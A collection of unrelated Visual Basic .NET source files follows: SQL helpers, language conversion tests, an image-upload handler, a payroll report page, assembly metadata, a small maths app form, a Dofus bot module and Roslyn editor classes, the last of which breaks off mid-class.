Public Class OnFly Public Function aryCommandForMsSql(ByVal aryCommands() As String) As String() Dim aryTmp() As String = aryCommands.Clone() 'INSERT INTO ACCOUNTING_TRANSACTION_LINE (INSTANCE_ID, Dim i As Integer For i = aryTmp.GetLowerBound(0) To aryTmp.GetUpperBound(0) aryTmp(i) = aryTmp(i).ToUpper.Replace(" ", " ") ' 2 spaces to one If ((InStr(aryTmp(i), "INSERT") < InStr(aryTmp(i), "INTO")) And (InStr(aryTmp(i), "INTO") < InStr(aryTmp(i), "ACCOUNTING_TRANSACTION_LINE"))) Then Dim intPos1 As Integer = InStr(aryTmp(i), "(") ' find position for "(" Dim intPos2 As Integer = InStr(intPos1, aryTmp(i), ",") ' find position for first "," after "(" aryTmp(i) = aryTmp(i).Remove(intPos1, intPos2 - intPos1) ' remove with "," Dim intPos0 As Integer = InStr(aryTmp(i), "VALUES") ' find position for "VALUE" intPos1 = InStr(intPos0, aryTmp(i), "(") ' find position for "(" intPos2 = InStr(intPos1, aryTmp(i), ",") ' find position for first "," after "(" aryTmp(i) = aryTmp(i).Replace(aryTmp(i).Substring(intPos1, intPos2 - intPos1), "") ' replace with "," End If Next Return aryTmp End Function Public Function aryCommandForOracle(ByVal aryCommands() As String, ByVal strScope As String) As String() Dim aryTmp() As String = aryCommands.Clone() Dim i As Integer For i = aryTmp.GetLowerBound(0) To aryTmp.GetUpperBound(0) aryTmp(i) = aryTmp(i).ToUpper.Replace(" ", " ") ' 2 spaces to one If ((InStr(aryTmp(i), "INSERT") < InStr(aryTmp(i), "INTO")) And (InStr(aryTmp(i), "INTO") < InStr(aryTmp(i), "ACCOUNTING_TRANSACTION_LINE"))) Then Dim intPos0 As Integer = InStr(aryTmp(i), "VALUES") ' find position for "VALUE" Dim intPos1 As Integer = InStr(intPos0, aryTmp(i), "(") ' find position for "(" Dim intPos2 As Integer = InStr(intPos1, aryTmp(i), ",") ' find position for first "," after "(" aryTmp(i) = aryTmp(i).Replace(aryTmp(i).Substring(intPos1, intPos2 - intPos1 - 1), strScope) ' replace without "," End If Next Return aryTmp End Function End Class
Module ExpConversionofBoolToLong Function _Main() As Integer Dim a As Boolean = True Dim b As Long = CLng(a) If b <> -1 Then System.Console.WriteLine("Explicit Conversion of Bool(Tru):return 1 to Long has Failed. Expected -1, but got " & b) : Return 1 End If End Function Sub Main() _Main() System.Console.WriteLine("<%END%>") End Sub End Module
Imports System.Web Imports Telerik.Web.UI 'Imports System.Data Imports System.Drawing Imports System.Drawing.Imaging Imports System.Data.SqlClient Imports System.IO 'Imports DiversifiedLogistics.DBAccess Public Class Handler Inherits AsyncUploadHandler Implements System.Web.SessionState.IRequiresSessionState Protected Overrides Function Process(ByVal file As UploadedFile, ByVal context As HttpContext, ByVal configuration As IAsyncUploadConfiguration, ByVal tempFileName As String) As IAsyncUploadResult ' Call the base Process method to save the file to the temporary folder ' base.Process(file, context, configuration, tempFileName); ' Populate the default (base) result into an object of type LoadPicAsyncUploadResult Dim result As LoadPicAsyncUploadResult = CreateDefaultUploadResult(Of LoadPicAsyncUploadResult)(file) Dim userID As Guid = Nothing Dim workOrderID As Guid = Nothing ' You can obtain any custom information passed from the page via casting the configuration parameter to your custom class Dim asyncConfiguration As LoadPicAsyncUploadConfiguration = TryCast(configuration, LoadPicAsyncUploadConfiguration) If asyncConfiguration IsNot Nothing Then userID = asyncConfiguration.UserID workOrderID = asyncConfiguration.WorkOrderID End If ' Populate any additional fields into the upload result. ' The upload result is available both on the client and on the server result.ImageID = InsertImage(file, userID, workOrderID) Return result End Function Public Function InsertImage(ByVal file As UploadedFile, ByVal userID As Guid, ByVal workOrderID As Guid) As Guid Dim connectionString As String = System.Configuration.ConfigurationManager.ConnectionStrings("rtdsConnectionString").ConnectionString Using conn As New SqlConnection(connectionString) Dim cmdText As String = "INSERT INTO LoadImages (ImageData, ImageName, UserID, WorkOrderID, ImageID, UpLoadDate) VALUES (@ImageData, @ImageName, @UserID, @WorkOrderID, @ImageID, @UpLoadDate)" Dim cmd As New SqlCommand(cmdText, conn) Dim imageData As Byte() = GetImageBytes(file.InputStream) Dim imgID As Guid = Guid.NewGuid() 'Dim identityParam As New SqlParameter("@Identity", SqlDbType.Int, 0, "ImageID") 'identityParam.Direction = ParameterDirection.Output cmd.Parameters.AddWithValue("@ImageData", imageData) cmd.Parameters.AddWithValue("@ImageName", file.GetName()) cmd.Parameters.AddWithValue("@UserID", userID) cmd.Parameters.AddWithValue("@WorkOrderID", workOrderID) cmd.Parameters.AddWithValue("@ImageID", imgID) cmd.Parameters.AddWithValue("@UpLoadDate", Date.Now) ' cmd.Parameters.Add(identityParam) conn.Open() Try cmd.ExecuteNonQuery() Catch ex As Exception Dim er As String = ex.Message Finally conn.Close() End Try Dim dba As New DBAccess dba.CommandText = "Select locationid from workorder where id=@workorderid" dba.AddParameter("@workorderid", workOrderID) Dim locaid As String = dba.ExecuteScalar().ToString dba.CommandText = "Select hasPics from Location where id=@locaid" dba.AddParameter("@locaid", locaid) Dim haspics As Boolean = dba.ExecuteScalar If Not haspics Then dba.CommandText = "UPDATE Location SET hasPics=1 WHERE id=@locaid" dba.AddParameter("@locaid", locaid) dba.ExecuteNonQuery() End If Return imgID ' Return CInt(identityParam.Value) End Using End Function Public Function GetImageBytes(ByVal stream As Stream) As Byte() Dim buffer As Byte() Using image As Bitmap = ResizeImage(stream) Using ms As New MemoryStream() image.Save(ms, ImageFormat.Jpeg) 'return the current position in the stream at the beginning ms.Position = 0 buffer = New Byte(ms.Length - 1) {} ms.Read(buffer, 0, CInt(ms.Length)) Return buffer End Using End Using End Function Public Function ResizeImage(ByVal stream As Stream) As Bitmap Dim originalImage As Image = Bitmap.FromStream(stream) Dim height As Integer = 384 Dim width As Integer = 512 Dim ratio As Double = Math.Min(originalImage.Width, originalImage.Height) / CDbl(Math.Max(originalImage.Width, originalImage.Height)) If originalImage.Width > originalImage.Height Then height = Convert.ToInt32(height * ratio) Else width = Convert.ToInt32(width * ratio) End If Dim scaledImage As New Bitmap(width, height) Using g As Graphics = Graphics.FromImage(scaledImage) g.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic g.DrawImage(originalImage, 0, 0, width, height) Return scaledImage End Using End Function End Class
'-------------------------------------------------------------------------------------------' ' Inicio del codigo '-------------------------------------------------------------------------------------------' ' Importando librerias '-------------------------------------------------------------------------------------------' Imports System.Data '-------------------------------------------------------------------------------------------' ' Inicio de clase "rTrabajadores_Ampliado" '-------------------------------------------------------------------------------------------' Partial Class rTrabajadores_Ampliado Inherits vis2Formularios.frmReporte Dim loObjetoReporte as CrystalDecisions.CrystalReports.Engine.ReportDocument Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load Dim loConsulta As New StringBuilder() Dim lcParametro0Desde As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosIniciales(0)) Dim lcParametro0Hasta As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosFinales(0)) Dim lcParametro1Desde As String = goServicios.mObtenerListaFormatoSQL(cusAplicacion.goReportes.paParametrosIniciales(1)) Dim lcParametro2Desde As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosIniciales(2)) Dim lcParametro2Hasta As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosFinales(2)) Dim lcParametro3Desde As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosIniciales(3)) Dim lcParametro3Hasta As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosFinales(3)) Dim lcParametro4Desde As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosIniciales(4)) Dim lcParametro4Hasta As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosFinales(4)) Dim lcParametro5Desde As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosIniciales(5)) Dim lcParametro5Hasta As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosFinales(5)) Dim lcOrdenamiento As String = cusAplicacion.goReportes.pcOrden Try loConsulta.AppendLine("SELECT Trabajadores.Cod_Tra AS Cod_Tra,") loConsulta.AppendLine(" Trabajadores.Nom_Tra AS Nom_Tra,") loConsulta.AppendLine(" Trabajadores.Fec_Ini AS Fec_Ini,") loConsulta.AppendLine(" COALESCE(Renglones_Campos_Nomina.Val_Num, 0)AS Sueldo,") loConsulta.AppendLine(" Trabajadores.Status AS Status,") loConsulta.AppendLine(" COALESCE(Cargos.nom_car,'') AS Nom_Car,") loConsulta.AppendLine(" (CASE Trabajadores.Status") loConsulta.AppendLine(" WHEN 'A' THEN 'Activo' ") loConsulta.AppendLine(" WHEN 'I' THEN 'Inactivo' ") loConsulta.AppendLine(" WHEN 'S' THEN 'Suspendido' ") loConsulta.AppendLine(" WHEN 'L' THEN 'Liquidado' ") loConsulta.AppendLine(" ELSE '[Desconocido]' ") loConsulta.AppendLine(" END) AS Status_Trabajadores ") loConsulta.AppendLine("FROM Trabajadores") loConsulta.AppendLine(" LEFT JOIN Renglones_Campos_Nomina") loConsulta.AppendLine(" ON Renglones_Campos_Nomina.Cod_tra = Trabajadores.Cod_Tra") loConsulta.AppendLine(" AND Renglones_Campos_Nomina.Cod_Cam = 'A001'") loConsulta.AppendLine(" LEFT JOIN Cargos") loConsulta.AppendLine(" ON Cargos.Cod_car = Trabajadores.Cod_car") loConsulta.AppendLine("WHERE Trabajadores.Tip_Tra = 'Trabajador'") loConsulta.AppendLine(" AND Trabajadores.Cod_Tra BETWEEN " & lcParametro0Desde) loConsulta.AppendLine(" AND " & lcParametro0Hasta) loConsulta.AppendLine(" AND Trabajadores.Status IN ( " & lcParametro1Desde & " )") loConsulta.AppendLine(" AND Trabajadores.Cod_Con BETWEEN " & lcParametro2Desde) loConsulta.AppendLine(" AND " & lcParametro2Hasta) loConsulta.AppendLine(" AND Trabajadores.Cod_Dep BETWEEN " & lcParametro3Desde) loConsulta.AppendLine(" AND " & lcParametro3Hasta) loConsulta.AppendLine(" AND Trabajadores.Cod_Car BETWEEN " & lcParametro4Desde) loConsulta.AppendLine(" AND " & lcParametro4Hasta) loConsulta.AppendLine(" AND Trabajadores.Cod_Suc BETWEEN " & lcParametro5Desde) loConsulta.AppendLine(" AND " & lcParametro5Hasta) loConsulta.AppendLine("ORDER BY " & lcOrdenamiento) loConsulta.AppendLine("") loConsulta.AppendLine("") loConsulta.AppendLine("") 'Me.mEscribirConsulta(loConsulta.toString()) Dim loServicios As New cusDatos.goDatos Dim laDatosReporte As DataSet = loServicios.mObtenerTodosSinEsquema(loConsulta.ToString(), "curReportes") loObjetoReporte = cusAplicacion.goReportes.mCargarReporte("rTrabajadores_Ampliado", laDatosReporte) Me.mTraducirReporte(loObjetoReporte) Me.mFormatearCamposReporte(loObjetoReporte) Me.crvrTrabajadores_Ampliado.ReportSource = loObjetoReporte Catch loExcepcion As Exception Me.WbcAdministradorMensajeModal.mMostrarMensajeModal("Error", _ "No se pudo Completar el Proceso: " & loExcepcion.Message, _ vis3Controles.wbcAdministradorMensajeModal.enumTipoMensaje.KN_Error, _ "auto", _ "auto") End Try End Sub Protected Sub Page_Unload(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Unload Try loObjetoReporte.Close() Catch loExcepcion As Exception End Try End Sub End Class '-------------------------------------------------------------------------------------------' ' Fin del codigo '-------------------------------------------------------------------------------------------' ' RJG: 13/08/14: Codigo inicial. ' '-------------------------------------------------------------------------------------------'
'------------------------------------------------------------------------------ ' <auto-generated> ' This code was generated by a tool. ' Runtime Version:4.0.30319.18444 ' ' Changes to this file may cause incorrect behavior and will be lost if ' the code is regenerated. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict On Option Explicit On Namespace My.Resources 'This class was auto-generated by the StronglyTypedResourceBuilder 'class via a tool like ResGen or Visual Studio. 'To add or remove a member, edit your .ResX file then rerun ResGen 'with the /str option, or rebuild your VS project. '''<summary> ''' A strongly-typed resource class, for looking up localized strings, etc. '''</summary> <Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _ Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _ Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _ Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _ Friend Module Resources Private resourceMan As Global.System.Resources.ResourceManager Private resourceCulture As Global.System.Globalization.CultureInfo '''<summary> ''' Returns the cached ResourceManager instance used by this class. '''</summary> <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager Get If Object.ReferenceEquals(resourceMan, Nothing) Then Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("HWK_8.Resources", GetType(Resources).Assembly) resourceMan = temp End If Return resourceMan End Get End Property '''<summary> ''' Overrides the current thread's CurrentUICulture property for all ''' resource lookups using this strongly typed resource class. '''</summary> <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Friend Property Culture() As Global.System.Globalization.CultureInfo Get Return resourceCulture End Get Set(ByVal value As Global.System.Globalization.CultureInfo) resourceCulture = value End Set End Property End Module End Namespace
Public Class Form1 Dim t As Integer = 1 Private Sub LOADER_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LOADER.Tick t = t + 1 If t = 6 Then t = 1 End If If t = 1 Then A.BackColor = Color.White B.BackColor = Color.DeepSkyBlue C.BackColor = Color.DeepSkyBlue D.BackColor = Color.DeepSkyBlue EE.BackColor = Color.DeepSkyBlue End If If t = 2 Then A.BackColor = Color.DeepSkyBlue B.BackColor = Color.White C.BackColor = Color.DeepSkyBlue D.BackColor = Color.DeepSkyBlue EE.BackColor = Color.DeepSkyBlue End If If t = 3 Then A.BackColor = Color.DeepSkyBlue B.BackColor = Color.DeepSkyBlue C.BackColor = Color.White D.BackColor = Color.DeepSkyBlue EE.BackColor = Color.DeepSkyBlue End If If t = 4 Then A.BackColor = Color.DeepSkyBlue B.BackColor = Color.DeepSkyBlue C.BackColor = Color.DeepSkyBlue D.BackColor = Color.White EE.BackColor = Color.DeepSkyBlue End If If t = 5 Then A.BackColor = Color.DeepSkyBlue B.BackColor = Color.DeepSkyBlue C.BackColor = Color.DeepSkyBlue D.BackColor = Color.DeepSkyBlue EE.BackColor = Color.White End If End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load A.BackColor = Color.White End Sub Private Sub STOPPER_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles STOPPER.Tick A.Location = New Point(0, 0) A.Size = New Size(0, 0) A.Dispose() B.Location = New Point(0, 0) B.Size = New Size(0, 0) B.Dispose() C.Location = New Point(0, 0) C.Size = New Size(0, 0) C.Dispose() D.Location = New Point(0, 0) D.Size = New Size(0, 0) D.Dispose() EE.Location = New Point(0, 0) EE.Size = New Size(0, 0) EE.Dispose() PictureBox1.Location = New Point(0, 0) PictureBox1.Size = New Size(0, 0) PictureBox1.Dispose() LOADER.Enabled = False STOPPER.Enabled = False End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If ComboBox1.Text.Contains("Simultaneous") Then Form2.Show() End If If ComboBox1.Text.Contains("Quadratic") Then Form3.Show() End If If ComboBox1.Text.Contains("Pythagoras") Then Form4.Show() End If If ComboBox1.Text.Contains("Squares") Then Form5.Show() End If If ComboBox1.Text.Contains("Monetary") Then Form6.Show() End If End Sub Private Sub ToolStripMenuItem2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem2.Click MsgBox("This software is a product of BTC CORP Community. Members of the team are; Edinyanga Ottoho (CEO/Software Manager), Victory Zibril (Asst. CEO/Software Informant) and Imikan Umoinyang (Secretary/Information Manager)", MsgBoxStyle.Information, "ABOUT US") End Sub Private Sub ToolStripMenuItem1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem1.Click MsgBox("Please endeavour to read the Information from the Help Tab in each packages' Menu bar", MsgBoxStyle.Information, "HELP AND INFO") End Sub End Class
Imports System Imports System.Reflection Imports System.Runtime.InteropServices ' General Information about an assembly is controlled through the following ' set of attributes. Change these attribute values to modify the information ' associated with an assembly. ' Review the values of the assembly attributes <Assembly: AssemblyTitle("ReadyForSchool")> <Assembly: AssemblyDescription("")> <Assembly: AssemblyCompany("LCS")> <Assembly: AssemblyProduct("ReadyForSchool")> <Assembly: AssemblyCopyright("Copyright © LCS 2012")> <Assembly: AssemblyTrademark("")> <Assembly: ComVisible(False)> 'The following GUID is for the ID of the typelib if this project is exposed to COM <Assembly: Guid("a3906644-0355-47f3-ab11-90d4c2c02011")> ' Version information for an assembly consists of the following four values: ' ' Major Version ' Minor Version ' Build Number ' Revision ' ' You can specify all the values or you can default the Build and Revision Numbers ' by using the '*' as shown below: ' <Assembly: AssemblyVersion("1.0.*")> <Assembly: AssemblyVersion("1.0.0.0")> <Assembly: AssemblyFileVersion("1.0.0.0")>
Module Module_Zaap Public Sub GiZaapInformation(index As Integer, data As String) With Comptes(index) Try ' WC 1242 | 3250 ; 450 | Next ' WC Mapid actuel | Mapid ; Prix | Next .Personnage.EnInteraction = True .ZaapI.Clear() Dim separateData As String() = Split(Mid(data, 3), "|") For i = 1 To separateData.Count - 1 Dim separate As String() = Split(separateData(i), ";") '3250;450 If Not .ZaapI.ContainsKey(separate(0)) Then .ZaapI.Add(separate(0), separate(1)) Else .ZaapI(separate(0)) = separate(1) End If Next EcritureMessage(index, "(Dofus)", "Utilisation du Zaap en cours.", Color.Lime) Catch ex As Exception ErreurFichier(index, .Personnage.NomDuPersonnage, "GiZaapInformation", data & vbCrLf & ex.Message) End Try End With End Sub Public Sub GiZaapFin(index As Integer, data As String) With Comptes(index) Try ' WV .Personnage.EnInteraction = False .ZaapI.Clear() EcritureMessage(index, "(Dofus)", "Fin d'utilisation du Zaap.", Color.Lime) Catch ex As Exception ErreurFichier(index, .Personnage.NomDuPersonnage, "GiZaapFin", data & vbCrLf & ex.Message) End Try End With End Sub End Module
' Licensed to the .NET Foundation under one or more agreements. ' The .NET Foundation licenses this file to you under the MIT license. ' See the LICENSE file in the project root for more information. Namespace Microsoft.CodeAnalysis.Editor.VisualBasic.EndConstructGeneration Friend Class EndConstructState Private ReadOnly _caretPosition As Integer Private ReadOnly _semanticModel As Lazy(Of SemanticModel) Private ReadOnly _tree As SyntaxTree Private ReadOnly _tokenToLeft As SyntaxToken Private ReadOnly _newLineCharacter As String Public Sub New(caretPosition As Integer, semanticModel As Lazy(Of SemanticModel), syntaxTree As SyntaxTree, tokenToLeft As SyntaxToken, newLineCharacter As String) ThrowIfNull(syntaxTree) _caretPosition = caretPosition _newLineCharacter = newLineCharacter _semanticModel = semanticModel _tree = syntaxTree _tokenToLeft = tokenToLeft End Sub Public ReadOnly Property CaretPosition As Integer Get Return _caretPosition End Get End Property Public ReadOnly Property SemanticModel As SemanticModel Get Return _semanticModel.Value End Get End Property Public ReadOnly Property SyntaxTree As SyntaxTree Get Return _tree End Get End Property Public ReadOnly Property TokenToLeft As SyntaxToken Get Return _tokenToLeft End Get End Property ''' <summary> ''' The new line character that should be used when spitting lines of code. ''' </summary> Public ReadOnly Property NewLineCharacter As String Get Return _newLineCharacter End Get End Property End Class End Namespace
'Author: ' V. Sudharsan (vsudharsan@novell.com) ' ' (C) 2005 Novell, Inc. 'Option Compare text Imports System Module LikeOperator2 Function _Main() As Integer Dim a As Boolean a = "" Like "[]" If a <> True Then System.Console.WriteLine("#A1-LikeOperator:Failed") : Return 1 End If End Function Sub Main() _Main() System.Console.WriteLine("<%END%>") End Sub End Module
Imports System Imports System.Collections.Generic Imports Activation = org.nd4j.linalg.activations.Activation Imports IActivation = org.nd4j.linalg.activations.IActivation ' ' * ****************************************************************************** ' * * ' * * ' * * This program and the accompanying materials are made available under the ' * * terms of the Apache License, Version 2.0 which is available at ' * * https://www.apache.org/licenses/LICENSE-2.0. ' * * ' * * See the NOTICE file distributed with this work for additional ' * * information regarding copyright ownership. ' * * Unless required by applicable law or agreed to in writing, software ' * * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT ' * * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the ' * * License for the specific language governing permissions and limitations ' * * under the License. ' * * ' * * SPDX-License-Identifier: Apache-2.0 ' * ***************************************************************************** ' Namespace org.deeplearning4j.nn.conf.layers.samediff Public Class SameDiffLayerUtils Private Shared activationMap As IDictionary(Of Type, Activation) Private Sub New() End Sub Public Shared Function fromIActivation(ByVal a As IActivation) As Activation If activationMap Is Nothing Then Dim m As IDictionary(Of Type, Activation) = New Dictionary(Of Type, Activation)() For Each act As Activation In Activation.values() m(act.getActivationFunction().GetType()) = act Next act activationMap = m End If Return activationMap(a.GetType()) End Function End Class End Namespace
Imports System Imports System.Reflection Imports System.Runtime.InteropServices ' General Information about an assembly is controlled through the following ' set of attributes. Change these attribute values to modify the information ' associated with an assembly. ' Review the values of the assembly attributes <Assembly: AssemblyTitle("WFA_ArduinoSerial_001")> <Assembly: AssemblyDescription("")> <Assembly: AssemblyCompany("Microsoft")> <Assembly: AssemblyProduct("WFA_ArduinoSerial_001")> <Assembly: AssemblyCopyright("Copyright © Microsoft 2015")> <Assembly: AssemblyTrademark("")> <Assembly: ComVisible(False)> 'The following GUID is for the ID of the typelib if this project is exposed to COM <Assembly: Guid("afc2543d-e16a-4f1d-9945-5f3a211c2ee9")> ' Version information for an assembly consists of the following four values: ' ' Major Version ' Minor Version ' Build Number ' Revision ' ' You can specify all the values or you can default the Build and Revision Numbers ' by using the '*' as shown below: ' <Assembly: AssemblyVersion("1.0.*")> <Assembly: AssemblyVersion("1.0.0.0")> <Assembly: AssemblyFileVersion("1.0.0.0")>
' Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Imports Microsoft.CodeAnalysis Imports Microsoft.CodeAnalysis.Shared.Extensions Imports Microsoft.CodeAnalysis.Text Imports Microsoft.CodeAnalysis.VisualBasic Imports Microsoft.CodeAnalysis.VisualBasic.Extensions Imports Microsoft.CodeAnalysis.VisualBasic.Syntax Namespace Microsoft.VisualStudio.LanguageServices.VisualBasic.Help Partial Friend Class VisualBasicHelpContextService Private Class Visitor Inherits VisualBasicSyntaxVisitor Public result As String = Nothing Dim span As TextSpan Dim semanticModel As SemanticModel Dim provider As VisualBasicHelpContextService Private isNotMetadata As Boolean Public Sub New(span As TextSpan, semanticModel As SemanticModel, isNotMetadata As Boolean, provider As VisualBasicHelpContextService) Me.span = span Me.semanticModel = semanticModel Me.isNotMetadata = isNotMetadata Me.provider = provider End Sub Private Function Keyword(text As String) As String Return "vb." + text End Function Private Function Keyword(kind As SyntaxKind) As String Return Keyword(kind.GetText()) End Function Public Overrides Sub Visit(node As SyntaxNode) If node IsNot Nothing Then DirectCast(node, VisualBasicSyntaxNode).Accept(Me) If result Is Nothing AndAlso node IsNot Nothing Then Visit(node.Parent) End If End If End Sub Public Overrides Sub DefaultVisit(node As SyntaxNode) If node IsNot Nothing Then Visit(node.Parent) End If End Sub Public Overrides Sub VisitEventStatement(node As EventStatementSyntax) If Not TryGetDeclaredSymbol(node.Identifier) Then result = Keyword("Event") End If End Sub Public Overrides Sub VisitAttributeTarget(node As AttributeTargetSyntax) If node.AttributeModifier.Kind() = SyntaxKind.ModuleKeyword Then result = HelpKeywords.ModuleAttribute ElseIf node.AttributeModifier.Kind() = SyntaxKind.AssemblyKeyword Then result = HelpKeywords.AssemblyAttribute End If End Sub Public Overrides Sub VisitAddRemoveHandlerStatement(node As AddRemoveHandlerStatementSyntax) result = Keyword(node.AddHandlerOrRemoveHandlerKeyword.ValueText) End Sub Public Overrides Sub VisitLocalDeclarationStatement(node As LocalDeclarationStatementSyntax) SelectModifier(node.Modifiers) End Sub Public Overrides Sub VisitEndBlockStatement(node As EndBlockStatementSyntax) If Not node.BlockKeyword.IsMissing Then Select Case node.BlockKeyword.Kind() Case SyntaxKind.AddHandlerKeyword result = Keyword(SyntaxKind.AddHandlerKeyword) Case SyntaxKind.RaiseEventKeyword result = Keyword(SyntaxKind.RaiseEventKeyword) Case SyntaxKind.RemoveHandlerKeyword result = Keyword(SyntaxKind.RemoveHandlerKeyword) Case SyntaxKind.SubKeyword Case SyntaxKind.FunctionKeyword If node.GetAncestor(Of MultiLineLambdaExpressionSyntax)() IsNot Nothing Then result = HelpKeywords.LambdaFunction End If Case Else End Select If result Is Nothing Then result = Keyword(node.BlockKeyword.ValueText) End If Else result = HelpKeywords.EndDefinition End If End Sub Public Overrides Sub VisitArrayCreationExpression(node As ArrayCreationExpressionSyntax) result = "vb.Array" End Sub Public Overrides Sub VisitAggregateClause(node As AggregateClauseSyntax) If Not node.IntoKeyword.IsMissing Then result = HelpKeywords.QueryAggregateInto End If result = HelpKeywords.QueryAggregate End Sub Public Overrides Sub VisitAssignmentStatement(node As AssignmentStatementSyntax) result = Keyword(node.OperatorToken.Kind()) End Sub Public Overrides Sub VisitAttributeList(node As AttributeListSyntax) result = HelpKeywords.Attributes End Sub Public Overrides Sub VisitBinaryExpression(node As BinaryExpressionSyntax) result = Keyword(node.OperatorToken.Text) End Sub Public Overrides Sub VisitCallStatement(node As CallStatementSyntax) result = Keyword(node.CallKeyword.Text) End Sub Public Overrides Sub VisitCatchFilterClause(node As CatchFilterClauseSyntax) result = Keyword(node.WhenKeyword.Text) End Sub Public Overrides Sub VisitCollectionInitializer(node As CollectionInitializerSyntax) If TypeOf (node.Parent) Is ArrayCreationExpressionSyntax Then Visit(node.Parent) Else result = HelpKeywords.CollectionInitializer End If End Sub Public Overrides Sub VisitContinueStatement(node As ContinueStatementSyntax) result = Keyword(node.ContinueKeyword.Text) End Sub Public Overrides Sub VisitDeclareStatement(node As DeclareStatementSyntax) ' TODO result = Keyword(node.DeclareKeyword.Text) End Sub Public Overrides Sub VisitDelegateStatement(node As DelegateStatementSyntax) If Not SelectModifier(node.Modifiers) Then result = Keyword(node.DelegateKeyword.Text) End If End Sub Public Overrides Sub VisitDistinctClause(node As DistinctClauseSyntax) result = HelpKeywords.QueryDistinct End Sub Public Overrides Sub VisitDoLoopBlock(node As DoLoopBlockSyntax) result = Keyword("Do") End Sub Public Overrides Sub VisitIfStatement(node As IfStatementSyntax) If node.ThenKeyword.Span.IntersectsWith(span) Then result = Keyword(node.ThenKeyword.Text) Else result = Keyword("If") End If End Sub Public Overrides Sub VisitElseIfStatement(node As ElseIfStatementSyntax) If node.ThenKeyword.Span.IntersectsWith(span) Then result = Keyword(node.ThenKeyword.Text) Else result = Keyword("ElseIf") End If End Sub Public Overrides Sub VisitSingleLineIfStatement(node As SingleLineIfStatementSyntax) If node.ThenKeyword.Span.IntersectsWith(span) Then result = Keyword(node.ThenKeyword.Text) Else result = Keyword("If") End If End Sub Public Overrides Sub VisitSingleLineElseClause(node As SingleLineElseClauseSyntax) result = Keyword("Else") End Sub Public Overrides Sub VisitObjectCreationExpression(node As ObjectCreationExpressionSyntax) result = Keyword("New") End Sub Public Overrides Sub VisitParameter(node As ParameterSyntax) SelectModifier(node.Modifiers) End Sub Public Overrides Sub VisitPredefinedCastExpression(node As PredefinedCastExpressionSyntax) result = Keyword(node.Keyword.Text) End Sub Public Overrides Sub VisitSelectBlock(node As SelectBlockSyntax) result = Keyword("Select") End Sub Public Overrides Sub VisitSimpleAsClause(node As SimpleAsClauseSyntax) result = Keyword(node.AsKeyword.Text) End Sub Public Overrides Sub VisitTryBlock(node As TryBlockSyntax) result = Keyword("Try") End Sub Public Overrides Sub VisitEnumBlock(node As EnumBlockSyntax) result = Keyword("Enum") End Sub Public Overrides Sub VisitEqualsValue(node As EqualsValueSyntax) result = Keyword(SyntaxKind.EqualsToken) End Sub Public Overrides Sub VisitEraseStatement(node As EraseStatementSyntax) result = Keyword("Erase") End Sub Public Overrides Sub VisitElseStatement(node As ElseStatementSyntax) result = Keyword("Else") End Sub Public Overrides Sub VisitErrorStatement(node As ErrorStatementSyntax) result = Keyword("Error") End Sub Public Overrides Sub VisitEventBlock(node As EventBlockSyntax) result = Keyword("Event") End Sub Public Overrides Sub VisitExitStatement(node As ExitStatementSyntax) result = Keyword("Exit") End Sub Public Overrides Sub VisitFieldDeclaration(node As FieldDeclarationSyntax) Dim modifier = node.Modifiers.FirstOrDefault(Function(m) m.Span.IntersectsWith(span)) If modifier <> Nothing Then result = Keyword(modifier.Text) End If End Sub Public Overrides Sub VisitForEachStatement(node As ForEachStatementSyntax) If node.InKeyword.Span.IntersectsWith(span) Then result = Keyword("In") ElseIf node.EachKeyword.Span.IntersectsWith(span) Then result = Keyword("Each") Else result = HelpKeywords.ForEach End If End Sub Public Overrides Sub VisitForStatement(node As ForStatementSyntax) If node.ToKeyword.Span.IntersectsWith(span) Then result = Keyword("To") ElseIf node.StepClause.StepKeyword.Span.IntersectsWith(span) Then result = Keyword("Step") Else result = Keyword("For") End If End Sub Public Overrides Sub VisitFromClause(node As FromClauseSyntax) result = HelpKeywords.QueryFrom End Sub Public Overrides Sub VisitTypeParameter(node As TypeParameterSyntax) If node.VarianceKeyword.Span.IntersectsWith(span) Then If node.VarianceKeyword.Kind() = SyntaxKind.OutKeyword Then result = HelpKeywords.VarianceOut Else result = HelpKeywords.VarianceIn End If End If End Sub Public Overrides Sub VisitGetTypeExpression(node As GetTypeExpressionSyntax) result = Keyword("GetType") End Sub Public Overrides Sub 